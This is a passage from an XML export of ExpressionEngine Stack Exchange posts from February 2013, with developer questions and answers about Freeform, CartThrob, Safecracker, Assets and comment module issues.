BY-SA 3.0" />
  <row Id="6612" PostTypeId="2" ParentId="6564" CreationDate="2013-02-21T19:57:31.803" Score="1" Body="&lt;p&gt;Thanks to Alex Kendrick - I don't know why I didn't think of hiding the plus/minus buttons with the site theme's CSS: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5710/22&quot;&gt;https://expressionengine.stackexchange.com/a/5710/22&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-02-21T19:57:31.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6613" PostTypeId="1" AcceptedAnswerId="6628" CreationDate="2013-02-21T20:41:43.473" Score="1" ViewCount="1079" Body="&lt;p&gt;I would like to create a second form on my ExpressionEngine 2.5.2 site using Freeform. We have been using the Freeform module for about a year and a half, but I have recently been experiencing 2 different problems. I'm not sure if the issues are related or not: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem 1 - Disallowed Characters&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go in to my ExpressionEngine control panel and try to add information to a blank field of an entry, when submitting the change, I always receive a  message that says &quot;Disallowed Key Characters.&quot; Nothing is wrong with the fields I am entering the data into, and there are no unusual characters in the data that I'm entering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to enter data into a form when pulling up an old form page on our site in my browser [not in my ExpressionEngine control panel].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem 2 - Unauthorized Action on New Forms&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a simple new form where I am only entering a first name and a last name, then clicking submit. On the webpage in a browser,  when I fill those two fields then click submit, I get taken to a new page that says &quot;You are not authorized to perform this action&quot;. This doesn't make any sense to me and I'm out of troubleshooting ideas. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the very simple form I am using in my html page, and I have created each of the fields in the Freeform module within EE that are listed in my code - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form class=&quot;application-form&quot; action=&quot;#&quot;&amp;gt;&#xA;    {exp:freeform:form collection=&quot;Entry Form&quot; return=&quot;home/index&quot;}         &#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;div class=&quot;heading&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;APPLY TO COMPETE&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;first_name&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; dir=&quot;ltr&quot; id=&quot;first_name&quot; name=&quot;first_name&quot; value=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;last_name&quot;&amp;gt;Last Name&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; dir=&quot;ltr&quot; id=&quot;last_name&quot; name=&quot;last_name&quot; value=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    {/exp:freeform:form} &#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-02-22T08:10:53.290" Title="Freeform returning &quot;Disallowed Key Characters&quot; and &quot;Unauthorized Action&quot; Messages" Tags="|error|solspace-freeform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6615" PostTypeId="1" AcceptedAnswerId="6617" CreationDate="2013-02-21T21:31:21.817" Score="0" ViewCount="66" Body="&lt;p&gt;I have the radio button for &quot;Create sequential order/invoice numbers&quot; and it is adding the proper order id to the entry title, but I'd like {order_id} to return that as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;order_id column in exp_cartthrob_order_items has a completely different number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Last Order Number&quot; field shows the next ID should be 548. In the DB the last order_id was 3487. As I said, the 548 is showing up as the entry title, just not saving as the order id. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;R&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-02-21T22:18:00.083" Title="{order_id} in CartThrob not using correct ID" Tags="|add-on|cartthrob|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6617" PostTypeId="2" ParentId="6615" CreationDate="2013-02-21T22:18:00.083" Score="0" Body="&lt;p&gt;The &lt;code&gt;{order_id}&lt;/code&gt; corresponds to the &lt;code&gt;{entry_id}&lt;/code&gt;, not the 'order number' in the title.&lt;br&gt;&#xA;As far as I know, you can't get that number in your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could change your title prefix from lets say &quot;Order #&quot; to just blank, then in your template just reference &lt;code&gt;{title}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then instead of just using &lt;code&gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&lt;/code&gt;, you'd use &lt;code&gt;&amp;lt;h1&amp;gt;Order #{title}&amp;lt;/h1&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-02-21T22:18:00.083" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6618" PostTypeId="1" AcceptedAnswerId="7448" CreationDate="2013-02-21T22:30:48.443" Score="3" ViewCount="22814" Body="&lt;p&gt;I need to display a Google Map with markers generated from Channel Fields, &lt;strong&gt;using a custom map tile instead of Google's satellite imagery&lt;/strong&gt;. If I know where corners/points of my image map to exact lat/long coordinates, is there a way to load in my image to be the map image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(A nice elegant &quot;use my image as the map&quot; solution would be great if there is one, but I'd be equally open to a hacky &quot;stick my image on top of the map&quot; sort of solution as well...)&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-03-20T05:14:02.273" Title="Can I use custom map image tiles with Google Maps for ExpressionEngine?" Tags="|google-maps|google-maps-for-ee|mx-google-map|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6619" PostTypeId="2" ParentId="6605" CreationDate="2013-02-21T22:44:02.223" Score="2" Body="&lt;p&gt;You could write an extension using the *store_order_submit_end* hook, which runs each time an order is submitted (i.e. runs whether the order &quot;completes&quot; or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it might be more semantically useful to reserve the &quot;Status&quot; to states like &quot;In Progress&quot;, &quot;Submitted to the Kitchen&quot;, &quot;Out for Delivery&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Have you considered using Store's custom variables to mark orders as belonging to one location or another?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orders in Store can have up to 9 custom variables. You can name them whatever you want, set their values using form fields, use them to filter/sort results in your templates, and review them in the CP as part of the Order Details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, you could use statuses to represent the status of the order, and still have values to add a location dimension for use in your business logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Check out the Order Fields page in your Store settings&lt;/strong&gt;, and feel free to post a follow-up question if I can explain anything better.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-02-21T22:44:02.223" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6620" PostTypeId="1" CreationDate="2013-02-21T23:55:10.327" Score="1" ViewCount="134" Body="&lt;p&gt;Here is what I am trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Safecracker to do the add/edit posting, but when the user click on a checkbox, then &#xA;go to edit the posting, the check box is not there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Gwcode Categories Plugin, outputting my categories as checkboxes &#xA;because it has more feature and flexibility then the built in safecracker categories tag&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GWCode Categories&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;ul&amp;gt;&#xA;        {exp:gwcode_categories group_id=&quot;9&quot;} &#xA;        &amp;lt;li&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot;  id=&quot;categories&quot; name=&quot;category[]&quot; value=&quot;{cat_id}&quot; {checked} /&amp;gt;&#xA; &amp;lt;span&amp;gt;{cat_name}&amp;lt;/span&amp;gt;    &#xA; &amp;lt;/li&amp;gt;&#xA; {/exp:gwcode_categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when I use Safecracker &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;     {categories}&#xA;      &amp;lt;li&amp;gt;&amp;amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; id=&quot;categories&quot; value=&quot;{category_id}&quot; {checked} /&amp;amp;gt; &#xA;&amp;lt;span&amp;gt;{category_name}&amp;lt;/span&amp;gt; &amp;lt;/li&amp;gt;&#xA;{/categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the checkbox is there.&#xA;why I cant just used the {checked}  in the Gwcode Categories and why does it have to be in &#xA;{categories}{/categories}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code that I have right now and trying to do with safecracker&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories group_id=&quot;9&quot;} &#xA;    {if has_children &amp;amp;&amp;amp; parent_id == '0' }&#xA;        &amp;lt;!-- parent with children --&amp;gt;&#xA;        &amp;lt;li class=&quot;checkbox checkbox_parent&quot;&amp;gt;  &#xA;            &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;{cat_name}&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {if:elseif depth == 2}&#xA;        &amp;lt;!-- child at second level --&amp;gt;&#xA;        &amp;lt;li class=&quot;checkbox&quot;&amp;gt;  &#xA;            &amp;lt;input type=&quot;checkbox&quot; id=&quot;categories&quot; name=&quot;category[]&quot; value=&quot;{cat_id}&quot; checked=&quot;{checked}&quot; /&amp;gt;&#xA;            &amp;lt;span&amp;gt;{cat_name}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {if:elseif depth == 3}&#xA;        &amp;lt;!-- child at third level --&amp;gt;&#xA;        &amp;lt;li class=&quot;checkbox&quot;&amp;gt;  &#xA;            &amp;lt;input type=&quot;checkbox&quot;  id=&quot;categories&quot; name=&quot;category[]&quot; value=&quot;{cat_id}&quot; checked=&quot;{checked}&quot; /&amp;gt;&#xA;            &amp;lt;span&amp;gt;{cat_name}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;!-- parent with no children --&amp;gt;&#xA;        &amp;lt;li class=&quot;checkbox_parent_nochild&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot;  id=&quot;categories&quot; name=&quot;category[]&quot; value=&quot;{cat_id}&quot; checked=&quot;{checked}&quot;  /&amp;gt; &#xA;            &amp;lt;span&amp;gt;{cat_name}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1051" LastEditorUserId="1051" LastEditDate="2013-02-22T17:10:56.460" LastActivityDate="2013-02-22T17:10:56.460" Title="Safecracker and GWCODE Categories Checkboxes not staying checked" Tags="|safecracker|gwcode-categories|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6621" PostTypeId="1" CreationDate="2013-02-22T00:08:03.347" Score="1" ViewCount="26" Body="&lt;p&gt;Thread title explains it all. With output like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DTSTAMP:20130226T150037&#xA;DTSTART:20130226T150037&#xA;DTEND:20130226T170037&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outlook will set the start time as 3:01pm and the end time as 5:01pm. Probably a bug with Outlook but I thought I'd ask here anyway to see if anyone else had reported a similar problem.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-02-22T00:08:03.347" Title="MS Outlook sets start and end times one minute later with iCal plugin" Tags="|expresso|ical|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6622" PostTypeId="1" CreationDate="2013-02-22T01:23:45.820" Score="0" ViewCount="54" Body="&lt;p&gt;I have an assets custom field but I cant upload or view actual thumbnails in my S3 bucket. I update indexes but just see default jpg placeholder icons in the directory.&#xA;Any ideas what the issue could be? When I upload an image via my entry the progress bar completes suggesting a compete upload but the image never uploads. Tried jpg and png?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1052" LastActivityDate="2013-02-22T19:05:25.610" Title="ee253 and assets205 upload and thumbnail view" Tags="|assets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6623" PostTypeId="1" AcceptedAnswerId="6638" CreationDate="2013-02-22T01:54:16.887" Score="1" ViewCount="710" Body="&lt;p&gt;If member publish entry I want publish some info to another channel&#xA;I wrote extension, but it doesn't work and always I see 'An Error Occurred Creating the Entry'&#xA;I need help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;&#xA;&#xA;class Calladder_ext {&#xA;&#xA;    public $name           = 'Call adder';&#xA;    public $version        = '1.0';&#xA;    public $description    = 'Add call when publish to channel';&#xA;    public $settings_exist = 'n';&#xA;    public $docs_url       = '';&#xA;&#xA;    private $settings = array();&#xA;&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     */&#xA;    public function __construct($settings='')&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;loadfile('calladder');&#xA;    }&#xA;&#xA;    public function add_call($entry_id, $meta, $data)&#xA;    {&#xA;        if( in_array( $data['channel_id'], array(4,5,6) ) )&#xA;        {&#xA;            //prepare data&#xA;            // some code...&#xA;&#xA;            $datap = array(&#xA;                    'title'         =&amp;gt; $title,&#xA;                    'channel_id'    =&amp;gt; 7,&#xA;                    'field_id_48'   =&amp;gt; $phone,&#xA;                    'field_id_47'   =&amp;gt; $name,&#xA;                    'field_id_50'   =&amp;gt; $email,&#xA;                    'field_id_49'   =&amp;gt; $comment,&#xA;                    'field_id_88'   =&amp;gt; $entry_id&#xA;            );&#xA;&#xA;            $this-&amp;gt;insert_entry(7, $datap);&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    private function insert_entry($channel_id, $data)&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('api');&#xA;        $this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;        $this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings($channel_id, $data);&#xA;&#xA;        if ($this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;submit_new_entry($channel_id, $data) === FALSE)&#xA;        {&#xA;                show_error('An Error Occurred Creating the Entry');&#xA;        }&#xA;    }&#xA;&#xA;&#xA;    public function activate_extension()&#xA;    {&#xA;&#xA;        $data = array(&#xA;            'class'     =&amp;gt; __CLASS__,&#xA;            'method'    =&amp;gt; 'add_call',&#xA;            'hook'      =&amp;gt; 'entry_submission_end',&#xA;            'settings'  =&amp;gt; serialize($this-&amp;gt;settings),&#xA;            'priority'  =&amp;gt; 2,&#xA;            'version'   =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled'   =&amp;gt; 'y'&#xA;        );&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;&#xA;    }&#xA;&#xA;    public function disable_extension()&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;delete('extensions');&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1053" LastEditorUserId="55" LastEditDate="2013-02-22T13:19:33.390" LastActivityDate="2013-02-22T13:19:33.390" Title="Error when submitting new entry via the Channel Entries API" Tags="|channel|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6624" PostTypeId="2" ParentId="6622" CreationDate="2013-02-22T01:57:05.537" Score="1" Body="&lt;p&gt;I think I just responded to your email: the most common reason we see this is when system/expressionengine/cache is not set to 777 permissions - as well as its subfolders specific to assets.  Can you re-set those and try again after re-setting the permissions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should hopefully fix this up for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;__&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to Add: If this is the same person I emailed, they resolved it by upgrading EE from 2.5.3 to 2.5.5.&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2013-02-22T19:05:25.610" LastActivityDate="2013-02-22T19:05:25.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6625" PostTypeId="2" ParentId="5607" CreationDate="2013-02-22T02:27:14.193" Score="1" Body="&lt;p&gt;doubleplusgood, I think you're answer's right there in the jQuery Form documentation, plus a little research to do outside.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the outside part is that good practice for your EE-side ajax response is to be simple -- no HTTP error codes should be used, even on error. Just return the &lt;code&gt;div&lt;/code&gt; contents from EE that you want to show, whether you indicate success or give error messages.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the initial examples in jQuery Form doc are too simplistic - they shouldn't be demonstrating by popping an alert. That would be a troubleshooting temporary, in real life.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;rather, you indicate where returned output goes by using the 'target' in the options object you initialize with. Its value is simply the id (&lt;code&gt;#name&lt;/code&gt;) of the &lt;code&gt;div&lt;/code&gt; whose contents you want to have replaced by your response html.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;then without needing any alerts, when the ajax response comes back from your EE call, it will go directly into &lt;code&gt;&amp;lt;div #name&amp;gt;&lt;/code&gt;. Thus either your indication of success, or your error instructions will show there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is almost too simple, which is why the instructions may have seemed obscure. Have a look at their first demo under menu item Examples -- the ajaxForm page. It is live -- you can trigger the buttons and see the above happen, after examining the html behind the page. They &lt;em&gt;also&lt;/em&gt; show alerts -- this could be useful for debugging, but probably not necessary, so again please don't confuse that with the real intended action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a particular look at the source for &lt;code&gt;&amp;lt;div #output1&amp;gt;&lt;/code&gt;, at the bottom of the example page, before you trigger it; and at the bottom of the browser page itself, before and after. Then you'll see the principle of the thing, in the way you've asked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other variations under Examples, should you run into other needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery Form is a nice tool, seems. Good fortune on your app.&lt;/p&gt;&#xA;" OwnerUserId="103" LastEditorUserId="103" LastEditDate="2013-02-25T04:44:12.307" LastActivityDate="2013-02-25T04:44:12.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6626" PostTypeId="2" ParentId="6611" CreationDate="2013-02-22T05:40:56.250" Score="1" Body="&lt;p&gt;Suggested things to try:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Clear main &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/clear_cached_data_files.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;EE cache&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;On the Super Search module page, click on Utilities tab and then Build Search Lexicon&lt;/li&gt;&#xA;&lt;li&gt;Click on Preferences tab and then on Clear Cached Searches&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-22T05:40:56.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6627" PostTypeId="1" AcceptedAnswerId="6647" CreationDate="2013-02-22T06:46:16.960" Score="1" ViewCount="376" Body="&lt;p&gt;I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 1321273 bytes) in /system/codeigniter/system/core/Loader.php on line 739&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but only when logged in to the control panel as a super admin. Any ideas what might be causing that?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-02-22T16:58:50.813" Title="Memory error only when logged in" Tags="|php-errors|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6628" PostTypeId="2" ParentId="6613" CreationDate="2013-02-22T08:10:53.290" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;is usually disallowed character in the url. e.g. in a get parameter, or in a form input name. &lt;/li&gt;&#xA;&lt;li&gt;i don't think you should add the &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; tag yourself, it will be set by freeform, no?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-02-22T08:10:53.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6629" PostTypeId="2" ParentId="6594" CreationDate="2013-02-22T10:05:59.763" Score="2" Body="&lt;p&gt;The variable syntax, &lt;code&gt;{lv_my_variable}&lt;/code&gt;, doesn't support any additions or variations like that. It's like a Snippet or Global Variable: just as is. For extra processing, you'd need to use the tag syntax: &lt;code&gt;{exp:low_variables:single var=&quot;lv_my_variable&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, getting to additional options like the &lt;code&gt;:has_excerpt&lt;/code&gt; function is up to the fieldtype author to implement. Something like &lt;code&gt;{exp:low_variables:single var=&quot;lv_my_variable&quot; method=&quot;has_excerpt&quot;}&lt;/code&gt; would be nice in this case. But, again, that's up to Pixel &amp;amp; Tonic to add support for.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-02-22T10:05:59.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6630" PostTypeId="1" CreationDate="2013-02-22T11:26:28.090" Score="1" ViewCount="89" Body="&lt;p&gt;The safecracker form related custom fields are being submitted, the problem is the select drop-down categories. After having chosen the category to associate the entry with, the respective category does not remain selected in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#categories&quot; rel=&quot;nofollow&quot;&gt;User Guide Code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot;&amp;gt;&#xA;{categories}&#xA;&amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="48" LastActivityDate="2013-06-21T11:39:44.473" Title="Safecracker and Categories" Tags="|safecracker|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6631" PostTypeId="2" ParentId="6587" CreationDate="2013-02-22T11:56:07.637" Score="1" Body="&lt;p&gt;Try swithing to Freemember of Stand-Alone Member Register for registration. Both have option to assign people to certain group.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-22T11:56:07.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6632" PostTypeId="1" AcceptedAnswerId="6643" CreationDate="2013-02-22T12:16:56.490" Score="3" ViewCount="255" Body="&lt;p&gt;I'd like to allow anyone to comment through my EE site, but it seems that the standard comment module only allows a logged in user to comment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;allow any one to comment&lt;/li&gt;&#xA;&lt;li&gt;assume that any logged in user is a member of X member group&lt;/li&gt;&#xA;&lt;li&gt;assign non-logged in visitors to the site a temporary membership - for example as part of the guest group?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any pointers much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----- EDIT in response to Jerome and Tidy's questions -------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My comments form code is below. If I am logged in to EE the form appears, if I am not logged in then the form does not appear at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have double checked both that 'can post comments' is set to yes for the 'guest' account and that, on my channel, 'Require membership in order to post comments?' is set to 'no' plus 'Allow comments in this channel' is set to 'yes'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;shop_products&quot; entry_id=&quot;{entry_id}&quot; rating:enabled=&quot;yes&quot;}&#xA;        {if rating:already_rated} You have already rated this entry{/if}&#xA;&#xA;        {if rating:not_rated}&#xA;            &amp;lt;label&amp;gt;Rating&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;rating[default]&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;3&quot;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;4&quot;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;5&quot;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&amp;lt;br /&amp;gt;        &#xA;        {/if}&#xA;&#xA;        {if logged_out}&#xA;            &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;label for=&quot;comment&quot;&amp;gt;Review:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;textarea name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;10&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Submit Comment&quot;&amp;gt;&#xA;&#xA;    {/exp:comment:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="785" LastEditorUserId="785" LastEditDate="2013-02-22T14:07:13.810" LastActivityDate="2016-02-02T07:04:08.640" Title="Allow non member comments" Tags="|members|comments|guest|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
